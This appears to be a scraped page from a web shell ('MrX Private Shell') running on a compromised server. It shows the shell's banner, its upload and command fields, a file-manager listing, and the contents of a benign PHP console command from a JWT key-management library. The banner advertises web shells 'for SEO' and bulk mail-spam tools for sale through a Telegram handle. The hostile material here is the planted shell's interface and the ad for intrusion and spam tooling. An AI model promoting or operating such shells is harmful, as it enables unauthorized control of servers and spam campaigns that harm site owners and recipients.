__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

namespace Jose\Component\Console;

use InvalidArgumentException;
use Jose\Component\KeyManagement\JKUFactory;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use function is_string;

#[AsCommand(name: 'keyset:load:jku', description: 'Loads a key set from an url.',)]
final class JKULoaderCommand extends ObjectOutputCommand
{
    protected static $defaultName = 'keyset:load:jku';

    protected static $defaultDescription = 'Loads a key set from an url.';

    public function __construct(
        private readonly JKUFactory $jkuFactory,
        ?string $name = null
    ) {
        parent::__construct($name);
    }

    protected function configure(): void
    {
        parent::configure();
        $this->setHelp('This command will try to get a key set from an URL. The distant key set is a JWKSet.')
            ->addArgument('url', InputArgument::REQUIRED, 'The URL');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $url = $input->getArgument('url');
        if (! is_string($url)) {
            throw new InvalidArgumentException('Invalid URL');
        }
        $result = $this->jkuFactory->loadFromUrl($url);
        $this->prepareJsonOutput($input, $output, $result);

        return self::SUCCESS;
    }
}

Filemanager

Name Type Size Permission Actions
AddKeyIntoKeysetCommand.php File 2.24 KB 0664
EcKeyGeneratorCommand.php File 1.24 KB 0664
EcKeysetGeneratorCommand.php File 1.67 KB 0664
GeneratorCommand.php File 1.65 KB 0664
GetThumbprintCommand.php File 1.66 KB 0664
JKULoaderCommand.php File 1.44 KB 0664
KeyAnalyzerCommand.php File 2.64 KB 0664
KeyFileLoaderCommand.php File 1.6 KB 0664
KeysetAnalyzerCommand.php File 3.32 KB 0664
MergeKeysetCommand.php File 1.77 KB 0664
NoneKeyGeneratorCommand.php File 1.05 KB 0664
ObjectOutputCommand.php File 551 B 0664
OctKeyGeneratorCommand.php File 1.21 KB 0664
OctKeysetGeneratorCommand.php File 1.65 KB 0664
OkpKeyGeneratorCommand.php File 1.26 KB 0664
OkpKeysetGeneratorCommand.php File 1.72 KB 0664
OptimizeRsaKeyCommand.php File 1.51 KB 0664
P12CertificateLoaderCommand.php File 1.6 KB 0664
PemConverterCommand.php File 1.66 KB 0664
PublicKeyCommand.php File 1.69 KB 0664
PublicKeysetCommand.php File 1.91 KB 0664
RotateKeysetCommand.php File 2.3 KB 0664
RsaKeyGeneratorCommand.php File 1.2 KB 0664
RsaKeysetGeneratorCommand.php File 1.64 KB 0664
SecretKeyGeneratorCommand.php File 2 KB 0664
X509CertificateLoaderCommand.php File 1.44 KB 0664
X5ULoaderCommand.php File 1.48 KB 0664
Filemanager